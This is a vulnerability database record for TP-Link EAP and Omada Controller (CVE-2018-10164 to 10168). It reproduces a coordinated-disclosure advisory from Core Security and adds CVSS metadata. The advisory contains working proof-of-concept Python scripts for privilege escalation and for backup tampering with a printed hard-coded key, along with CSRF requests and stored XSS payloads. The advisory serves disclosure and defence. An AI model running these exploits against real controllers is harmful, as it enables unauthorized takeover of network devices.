var-201805-0362
Vulnerability from variot
TP-Link EAP Controller and Omada Controller versions 2.5.4_Windows/2.6.0_Windows do not control privileges for usage of the Web API, allowing a low-privilege user to make any request as an Administrator. This is fixed in version 2.6.1_Windows. TP-Link EAP Controller and Omada Controller Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkEAPController and OmadaController are software used by TP-LINK to remotely control wireless AP access point devices. This vulnerability stems from the program's failure to control the use of WebAPI. An attacker could exploit the vulnerability to send a request as an administrator. TP-Link EAP Controller and Omada Controller are prone to the following security vulnerabilities: 1. A privilege-escalation vulnerability 2. A hard-coded cryptographic key vulnerability 3. A cross-site request-forgery vulnerability 4. Multiple HTML-injection vulnerability An attacker may leverage these issues to gain elevated privileges, perform unauthorized actions and gain access to the affected application, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. Advisory Information
Title: TP-Link EAP Controller Multiple Vulnerabilities Advisory ID: CORE-2018-0001 Advisory URL: http://www.coresecurity.com/advisories/tp-link-eap-controller-multiple-vulnerabilities Date published: 2018-05-03 Date of last update: 2018-04-17 Vendors contacted: TP-Link Release mode: Coordinated release
- Vulnerability Information
Class: Improper Privilege Management [CWE-269], Use of Hard-coded Cryptographic Key [CWE-321], Cross-Site Request Forgery [CWE-352], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-10168, CVE-2018-10167, CVE-2018-10166, CVE-2018-10165, CVE-2018-10164
-
It allows you to centrally manage your EAP devices using a Web browser. Due to the use of a hard-coded cryptographic key the backup file of the Web application can be decrypted, modified and restored back. Also, the Web application does not have Cross-Site Request Forgery protection and finally, two stored Cross Site Scripting vulnerabilities were found.
-
Vulnerable Packages
. TP-Link EAP Controller_V2.5.4_Windows . TP-Link Omada Controller_V2.6.0_Windows Other products and versions might be affected, but they were not tested.
- Vendor Information, Solutions and Workarounds
TP-Link released Omada Controller_V2.6.1_Windows [2] that fixes the reported issues.
- Credits
This vulnerability was discovered and researched by Julian MuA+-oz from Core Security Exploits QA. The publication of this advisory was coordinated by Alberto Solino and Leandro Cuozzo from Core Advisories Team.
- Technical Description / Proof of Concept Code
TP-Link EAP Controller doesn't have any role control on the Web app API, only the application GUI seems to be restricting low lever users (observer) from changing settings. The vulnerability presented in 7.1 shows how a low privilege user (observer) can make a request and create a new administrator user.
On 7.2 we show the software uses a hardcoded key to encrypt the Web application's backup file. An attacker possessing such key, and knowing the encryption algorithm would allow the backup file to be decrypted and modified. Forcing a user to restore this backup (using 7.3) can give us total control over the managed devices.
On 7.3 we show the application does not have any Cross-Site Request Forgery Protection giving an attacker the possibility of forcing an end user to execute any unwanted actions on the EAP Controller in which the victim is currently authenticated. Finally, we discovered two Cross-Site Scripting, one on the creation of a local user in the parameter userName (7.4) and the other one abusing the implementation of portalPictureUpload (7.5).
7.1. The following PoC shows the creation of a new Administrator, by just having the session cookie of an observer (lowest privilege user):
/----- import requests session = requests.Session() session.trust_env = False tpeap_session_id = "80ab613a-590c-47ac-a2d6-f2949a0e9daa" #observer session_id cookie = {'TPEAP_SESSIONID': tpeap_session_id} data = {"name": "coresecurity", "roleId": "59fb411ebb62eef169069ac3", "password": "123456", "email": "fakemail@gmail.com", "roleName": "administrator"}
create user
create_user_response = session.post('https://EAP_CONTROLER_IP:8043/user/addUser', cookies=cookie, data=data, verify=False) -----/
The roleId parameter can be discovered in 7.2 by decrypting the backup file.
7.2.Download, Decrypt and Restore the web app backup file
[CVE-2018-10167] As described, the whole Web API do not restrict low privilege users, so an observer can make a request to download the web app backup file.
The following xml is part of the decrypted backup file, modifying those fields would give us control over the EAP device since we can inject a user and password for the user account and enable SSH on the device.
/----- { "id" : "5a09fad8bb62eef169069ad3", "userName" : "attacker", "password" : "1234567", "site" : "Default", "key" : "userAccount" } { "id" : "59fb411fbb62eef169069ac7", "sshserverPort" : 22, "sshenable" : true, "site" : "Default", "key" : "ssh" } -----/
The following code shows how this process is done, using an observer's session_id. First we get the backup file, decrypt it using the hard-coded key, then we modify it and finally upload it back to the server.
/-----
-- coding: utf-8 --
import requests import codecs
key = "Ei2HNryt8ysSdRRI54XNQHBEbOIRqNjQgYxsTmuW3srSVRVFyLh8mwvhBLPFQph3ecDMLnDtjDUdrUwt7oTsJuYl72hXESNiD6jFIQCtQN1unsmn" \
"3JXjeYwGJ55pqTkVyN2OOm3vekF6G1LM4t3kiiG4lGwbxG4CG1s5Sli7gcINFBOLXQnPpsQNWDmPbOm74mE7eyR3L7tk8tUhI17FLKm11hrrd1ck" \ "74bMw3VYSK3X5RrDgXelewMU6o1tJ3iX"
def init_key(secret_key): key_in_bytes = map(ord, secret_key) number_list = range(0, 256) j = 0 for i, val in enumerate(number_list): j = j + number_list[i] + key_in_bytes[i] & 0xFF temp = number_list[i] number_list[i] = number_list[j] number_list[j] = temp return number_list
def encrypt(data, key): key = init_key(key) input = [x for x in data] output = [] for x, elem in enumerate(data): i = 0 j = 0 i = (i + 1) % 256 j = (j + key[i]) % 256 temp = key[i] key[i] = key[j] key[j] = temp t = (key[i] + key[j] % 256) % 256 iY = key[t] iCY = iY output.append(chr(ord(input[x]) ^ iCY)) ret = ''.join(output) return ret
session = requests.Session() session.trust_env = False tpeap_session_id = "80ab613a-590c-47ac-a2d6-f2949a0e9daa" cookie = {'TPEAP_SESSIONID': tpeap_session_id}
get backup file
get_backup_response = session.get('https://EAP_CONTROLER_IP:8043/globalsetting/backup', cookies=cookie, verify=False)
decrypt backup file
decrypted_backup = encrypt(unicode(get_backup_response.content, 'utf-8'), key)
modify decrypted backup file
patched_backup = decrypted_backup.replace('normaluser', 'attacker')
encrypt the file and save it
path_to_write = r"C:\fake_path\patched_backup_from_observer.cfg" encrypt_patched_backup = unicode(encrypt(patched_backup, key), 'unicode-escape') h = codecs.open(path_to_write, "w", encoding='utf-8') h.write(encrypt_patched_backup) h.close()
upload patched backup file
files = {'file': open(path_to_write, 'rb')} restore_backup_response = session.post('https://EAP_CONTROLER_IP:8043/globalsetting/restore', files=files, cookies=cookie, verify=False) -----/
7.3. Lack of Cross-Site Request Forgery Protection
[CVE-2018-10166] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attack-controlled domain.
Proof of concept to create an Administrator User
/----- POST /user/addUser HTTP/1.1 Host: EAP_CONTROLER_IP:8043 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:5000/xss Content-Type: application/x-www-form-urlencoded Content-Length: 64 Cookie: TPEAP_LANGUAGE=en; TPEAP_SESSIONID=80ab613a-590c-47ac-a2d6-f2949a0e9daa Connection: close Upgrade-Insecure-Requests: 1
name=testuser&email=testuser%40gmail.com&roleId=59fb411ebb62eef169069ac3&password=123456&roleName=administrator -----/
7.4. Cross-Site Scripting in the creation of a local User
[CVE-2018-10165] The following parameter of the local user creation is vulnerable to a stored Cross Site Scripting: userName
The following is a proof of concept to demonstrate the vulnerability:
/----- POST /hotspot/localUser/saveUser HTTP/1.1 Host: EAP_CONTROLER_IP:8043 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1:5000/xss Content-Type: application/x-www-form-urlencoded Content-Length: 64 Cookie: TPEAP_LANGUAGE=en Connection: close Upgrade-Insecure-Requests: 1
userName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&password=123456 -----/
7.5. Cross-Site Scripting in portalPictureUpload
[CVE-2018-10164] The implementation of portalPictureUpload can be abused and leads to a stored Cross Site Scripting.
Decrypting the backup file shows that the portal background image is uploaded encoded in base64 and stored in the software database (mongoDB)
In the following example we encode "alert(1)" in base64, the results is "PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" so we replace the fileData with the code and restore the backup file.
/----- 5a383b962dc07622f0bdc101 PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== -----/
To execute the stored XSS we enter the page https://EAP_CONTROLER_IP:8043/globalsetting/portalPictureLoad?fileId=5a383b962dc07622f0bdc101 (using the fileId used in the example).
-
Report Timeline 2018-01-12: Core Security sent an initial notification to TP-LINK, asking for GPG keys in order to send draft advisory. 2018-01-14: TP-Link answered asking for the advisory in clear text. 2018-01-15: Core Security sent the draft advisory to TP-Link in clear text form. 2018-01-29: TP-Link informed Core Security they checked the draft advisory and they are going to fix the vulnerabilities. 2018-01-29: Core Security asked if all the reported vulnerabilities were confirmed and request an estimated release date for the fix. 2018-02-07: TP-Link informed that they were working in a beta version of the fix and they will provide it to Core Security for test. 2018-02-07: Core Security thanked TP-Link's answer and asked for a tentative date for this beta version. Also, Core Security asked for a tentative release date for the fix. 2018-02-27: Core Security asked for a status update again. However, this version didn't address the reported vulnerabilities. Core Security asked for a status update again. 2018-03-01: Core Security thanked TP-Link's answer and requested for a regular contact till the release of the fixed version. 2018-03-19: Core Security requested a status update. 2018-03-21: TP-Link confirmed that the new version will be available in early April. 2018-03-26: Core Security thanked TP-Link's reply an asked for a solidified release date. 2018-04-13: Core Security noticed that a new version of the EAP Controller was released (v2.6.1) and asked TP-Link if this version fixed the reported vulnerabilities. 2018-04-16: Core Security tested the new release and confirmed that the reported vulnerabilities were addressed. 2018-04-17: Core Security set release date to be May 3rd at 12 PM EST.
-
References
[1] https://www.tp-link.com/en/products/details/EAP-Controller.html. [2] https://www.tp-link.com/en/download/EAP-Controller.html#Controller_Software.
- About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security
Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur.
Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com
- Disclaimer
The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201805-0362",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "eap controller",
"scope": "eq",
"trust": 1.9,
"vendor": "tp link",
"version": "2.6.0"
},
{
"model": "eap controller",
"scope": "eq",
"trust": 1.9,
"vendor": "tp link",
"version": "2.5.4"
},
{
"model": "eap controller",
"scope": "eq",
"trust": 0.8,
"vendor": "tp link",
"version": "2.5.4_windows"
},
{
"model": "eap controller",
"scope": "eq",
"trust": 0.8,
"vendor": "tp link",
"version": "2.6.0_windows"
},
{
"model": "eap controller 2.5.4 windows",
"scope": null,
"trust": 0.6,
"vendor": "tp link",
"version": null
},
{
"model": "eap controller 2.6.0 windows",
"scope": null,
"trust": 0.6,
"vendor": "tp link",
"version": null
},
{
"model": "omada controller",
"scope": "eq",
"trust": 0.3,
"vendor": "tp link",
"version": "2.6.0"
},
{
"model": "omada controller",
"scope": "eq",
"trust": 0.3,
"vendor": "tp link",
"version": "2.5.4"
},
{
"model": "omada controller",
"scope": "ne",
"trust": 0.3,
"vendor": "tp link",
"version": "2.6.1"
},
{
"model": "eap controller",
"scope": "ne",
"trust": 0.3,
"vendor": "tp link",
"version": "2.6.1"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "BID",
"id": "104094"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
},
{
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/a:tp-link:eap_controller",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Julian Munoz from Core Security Exploits QA",
"sources": [
{
"db": "BID",
"id": "104094"
}
],
"trust": 0.3
},
"cve": "CVE-2018-10168",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "nvd@nist.gov",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.0,
"id": "CVE-2018-10168",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "COMPLETE",
"baseScore": 9.3,
"confidentialityImpact": "COMPLETE",
"exploitabilityScore": 8.6,
"id": "CNVD-2018-10973",
"impactScore": 10.0,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"author": "VULHUB",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.0,
"id": "VHN-119900",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:S/C:P/I:P/A:P",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 2.8,
"id": "CVE-2018-10168",
"impactScore": 5.9,
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"trust": 1.8,
"userInteraction": "NONE",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2018-10168",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2018-10168",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2018-10973",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "CNNVD",
"id": "CNNVD-201805-141",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-119900",
"trust": 0.1,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2018-10973"
},
{
"db": "VULHUB",
"id": "VHN-119900"
},
{
"db": "JVNDB",
"id": "JVNDB-2018-004780"
},
{
"db": "CNNVD",
"id": "CNNVD-201805-141"
},
{
"db": "NVD",
"id": "CVE-2018-10168"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "TP-Link EAP Controller and Omada Controller versions 2.5.4_Windows/2.6.0_Windows do not control privileges for usage of the Web API, allowing a low-privilege user to make any request as an Administrator. This is fixed in version 2.6.1_Windows. TP-Link EAP Controller and Omada Controller Contains vulnerabilities related to authorization, permissions, and access control.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. TP-LinkEAPController and OmadaController are software used by TP-LINK to remotely control wireless AP access point devices. This vulnerability stems from the program\u0027s failure to control the use of WebAPI. An attacker could exploit the vulnerability to send a request as an administrator. TP-Link EAP Controller and Omada Controller are prone to the following security vulnerabilities:\n1. A privilege-escalation vulnerability\n2. A hard-coded cryptographic key vulnerability\n3. A cross-site request-forgery vulnerability\n4. Multiple HTML-injection vulnerability\nAn attacker may leverage these issues to gain elevated privileges, perform unauthorized actions and gain access to the affected application, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. **Advisory Information**\n\nTitle: TP-Link EAP Controller Multiple Vulnerabilities\nAdvisory ID: CORE-2018-0001\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/tp-link-eap-controller-multiple-vulnerabilities\nDate published: 2018-05-03\nDate of last update: 2018-04-17\nVendors contacted: TP-Link\nRelease mode: Coordinated release\n\n2. **Vulnerability Information**\n\nClass: Improper Privilege Management [CWE-269], Use of Hard-coded\nCryptographic Key [CWE-321], Cross-Site Request Forgery [CWE-352], Improper\nNeutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)\n[CWE-79], Improper Neutralization of Input During Web Page Generation\n(\u0027Cross-site Scripting\u0027) [CWE-79]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: Yes\nCVE Name: CVE-2018-10168, CVE-2018-10167, CVE-2018-10166, CVE-2018-10165,\nCVE-2018-10164\n\n3. It allows you to centrally manage your EAP devices\nusing a Web browser. Due to the use of a hard-coded cryptographic key the\nbackup file of the Web application can be decrypted, modified and restored\nback. Also, the Web application does not have Cross-Site Request Forgery\nprotection and finally, two stored Cross Site Scripting vulnerabilities\nwere found. \n \n4. **Vulnerable Packages**\n\n. TP-Link EAP Controller_V2.5.4_Windows\n. TP-Link Omada Controller_V2.6.0_Windows\nOther products and versions might be affected, but they were not tested. \n\n5. **Vendor Information, Solutions and Workarounds**\n\nTP-Link released Omada Controller_V2.6.1_Windows [2] that fixes the\nreported issues. \n\n6. **Credits**\n\nThis vulnerability was discovered and researched by Julian MuA+-oz from Core\nSecurity Exploits QA. The publication of this advisory was coordinated by\nAlberto Solino and Leandro Cuozzo from Core Advisories Team. \n \n7. **Technical Description / Proof of Concept Code**\n\nTP-Link EAP Controller doesn\u0027t have any role control on the Web app API,\nonly the application GUI seems to be restricting low lever users (observer)\nfrom changing settings. The vulnerability presented in 7.1 shows how a\nlow privilege user (observer) can make a request and create a new\nadministrator user. \n\nOn 7.2 we show the software uses a hardcoded key to encrypt the Web\napplication\u0027s backup file. An attacker possessing such key, and knowing\nthe encryption algorithm would allow the backup file to be decrypted and\nmodified. Forcing a user to restore this backup (using 7.3) can give us\ntotal control over the managed devices. \n \nOn 7.3 we show the application does not have any Cross-Site Request Forgery\nProtection giving an attacker the possibility of forcing an end user to\nexecute any unwanted actions on the EAP Controller in which the victim is\ncurrently authenticated. Finally, we discovered two Cross-Site Scripting,\none on the creation of a local user in the parameter userName (7.4) and\nthe other one abusing the implementation of portalPictureUpload (7.5). \n \n7.1. \nThe following PoC shows the creation of a new Administrator, by just\nhaving the session cookie of an observer (lowest privilege user):\n \n/-----\nimport requests\nsession = requests.Session()\nsession.trust_env = False\ntpeap_session_id = \"80ab613a-590c-47ac-a2d6-f2949a0e9daa\" #observer\nsession_id\ncookie = {\u0027TPEAP_SESSIONID\u0027: tpeap_session_id}\ndata = {\"name\": \"coresecurity\", \"roleId\": \"59fb411ebb62eef169069ac3\",\n\"password\": \"123456\",\n \"email\": \"fakemail@gmail.com\", \"roleName\": \"administrator\"}\n\n#create user\n create_user_response =\nsession.post(\u0027https://EAP_CONTROLER_IP:8043/user/addUser\u0027,\ncookies=cookie, data=data, verify=False)\n-----/\n\nThe roleId parameter can be discovered in 7.2 by decrypting the backup file. \n \n7.2.**Download, Decrypt and Restore the web app backup file**\n\n[CVE-2018-10167]\nAs described, the whole Web API do not restrict low privilege users, so\nan observer can make a request to download the web app backup file. \n \nThe following xml is part of the decrypted backup file, modifying those\nfields would give us control over the EAP device since we can inject a\nuser and password for the user account and enable SSH on the device. \n\n/-----\n\u003cuseraccount\u003e\n {\n \"id\" : \"5a09fad8bb62eef169069ad3\",\n \"userName\" : \"attacker\",\n \"password\" : \"1234567\",\n \"site\" : \"Default\",\n \"key\" : \"userAccount\"\n }\n\u003c/useraccount\u003e\n\u003cssh\u003e\n {\n \"id\" : \"59fb411fbb62eef169069ac7\",\n \"sshserverPort\" : 22,\n \"sshenable\" : true,\n \"site\" : \"Default\",\n \"key\" : \"ssh\"\n }\n\u003c/ssh\u003e\n-----/\n\nThe following code shows how this process is done, using an observer\u0027s\nsession_id. First we get the backup file, decrypt it using the hard-coded\nkey, then we modify it and finally upload it back to the server. \n \n/-----\n# -*- coding: utf-8 -*-\nimport requests\nimport codecs\n\nkey =\n\"Ei2HNryt8ysSdRRI54XNQHBEbOIRqNjQgYxsTmuW3srSVRVFyLh8mwvhBLPFQph3ecDMLnDtjDUdrUwt7oTsJuYl72hXESNiD6jFIQCtQN1unsmn\"\n\\\n \n\"3JXjeYwGJ55pqTkVyN2OOm3vekF6G1LM4t3kiiG4lGwbxG4CG1s5Sli7gcINFBOLXQnPpsQNWDmPbOm74mE7eyR3L7tk8tUhI17FLKm11hrrd1ck\"\n\\\n \"74bMw3VYSK3X5RrDgXelewMU6o1tJ3iX\"\n\ndef init_key(secret_key):\n key_in_bytes = map(ord, secret_key)\n number_list = range(0, 256)\n j = 0\n for i, val in enumerate(number_list):\n j = j + number_list[i] + key_in_bytes[i] \u0026 0xFF\n temp = number_list[i]\n number_list[i] = number_list[j]\n number_list[j] = temp\n return number_list\n\ndef encrypt(data, key):\n key = init_key(key)\n input = [x for x in data]\n output = []\n for x, elem in enumerate(data):\n i = 0\n j = 0\n i = (i + 1) % 256\n j = (j + key[i]) % 256\n temp = key[i]\n key[i] = key[j]\n key[j] = temp\n t = (key[i] + key[j] % 256) % 256\n iY = key[t]\n iCY = iY\n output.append(chr(ord(input[x]) ^ iCY))\n ret = \u0027\u0027.join(output)\n return ret\n\nsession = requests.Session()\nsession.trust_env = False\ntpeap_session_id = \"80ab613a-590c-47ac-a2d6-f2949a0e9daa\"\ncookie = {\u0027TPEAP_SESSIONID\u0027: tpeap_session_id}\n\n#get backup file\nget_backup_response =\nsession.get(\u0027https://EAP_CONTROLER_IP:8043/globalsetting/backup\u0027,\ncookies=cookie, verify=False)\n\n#decrypt backup file\ndecrypted_backup = encrypt(unicode(get_backup_response.content,\n\u0027utf-8\u0027), key)\n\n#modify decrypted backup file\npatched_backup = decrypted_backup.replace(\u0027normaluser\u0027, \u0027attacker\u0027)\n\n#encrypt the file and save it\npath_to_write = r\"C:\\fake_path\\patched_backup_from_observer.cfg\"\nencrypt_patched_backup = unicode(encrypt(patched_backup, key),\n\u0027unicode-escape\u0027)\nh = codecs.open(path_to_write, \"w\", encoding=\u0027utf-8\u0027)\nh.write(encrypt_patched_backup)\nh.close()\n\n#upload patched backup file\nfiles = {\u0027file\u0027: open(path_to_write, \u0027rb\u0027)}\nrestore_backup_response =\nsession.post(\u0027https://EAP_CONTROLER_IP:8043/globalsetting/restore\u0027,\nfiles=files,\n cookies=cookie, verify=False)\n-----/\n\n\n7.3. **Lack of Cross-Site Request Forgery Protection**\n\n[CVE-2018-10166]\nThere are no Anti-CSRF tokens in any forms on the Web interface. This\nwould allow an attacker to submit authenticated requests when an\nauthenticated user browses an attack-controlled domain. \n\nProof of concept to create an Administrator User\n\n/-----\nPOST /user/addUser HTTP/1.1\nHost: EAP_CONTROLER_IP:8043\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0)\nGecko/20100101 Firefox/57.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://127.0.0.1:5000/xss\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 64\nCookie: TPEAP_LANGUAGE=en;\nTPEAP_SESSIONID=80ab613a-590c-47ac-a2d6-f2949a0e9daa\nConnection: close\nUpgrade-Insecure-Requests: 1\n\nname=testuser\u0026email=testuser%40gmail.com\u0026roleId=59fb411ebb62eef169069ac3\u0026password=123456\u0026roleName=administrator\n-----/\n\n7.4. **Cross-Site Scripting in the creation of a local User**\n\n[CVE-2018-10165]\nThe following parameter of the local user creation is vulnerable to a\nstored Cross Site Scripting: userName\n \nThe following is a proof of concept to demonstrate the vulnerability:\n \n/-----\nPOST /hotspot/localUser/saveUser HTTP/1.1\nHost: EAP_CONTROLER_IP:8043\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0)\nGecko/20100101 Firefox/57.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: http://127.0.0.1:5000/xss\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 64\nCookie: TPEAP_LANGUAGE=en\nConnection: close\nUpgrade-Insecure-Requests: 1\n\nuserName=%3Cscript%3Ealert%281%29%3C%2Fscript%3E\u0026password=123456\n-----/\n\n7.5. **Cross-Site Scripting in portalPictureUpload**\n\n[CVE-2018-10164]\nThe implementation of portalPictureUpload can be abused and leads to a\nstored Cross Site Scripting. \n\nDecrypting the backup file shows that the portal background image is\nuploaded encoded in base64 and stored in the software database (mongoDB)\n\nIn the following example we encode \"\u003cscript\u003ealert(1)\u003c/script\u003e\" in base64,\nthe results is \"PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\" so we replace the\nfileData with the code and restore the backup file. \n\n/-----\n\u003cpicturefiles\u003e\n\u003cfile\u003e\n \u003cfileId\u003e5a383b962dc07622f0bdc101\u003c/fileId\u003e\n \u003cfileData\u003ePHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==\u003c/fileData\u003e\n\u003c/file\u003e\n\u003c/picturefiles\u003e\n-----/\n\nTo execute the stored XSS we enter the page\nhttps://EAP_CONTROLER_IP:8043/globalsetting/portalPictureLoad?fileId=5a383b962dc07622f0bdc101\n(using the fileId used in the example). \n \n8. **Report Timeline**\n2018-01-12: Core Security sent an initial notification to TP-LINK, asking\nfor GPG keys in order to send draft advisory. \n2018-01-14: TP-Link answered asking for the advisory in clear text. \n2018-01-15: Core Security sent the 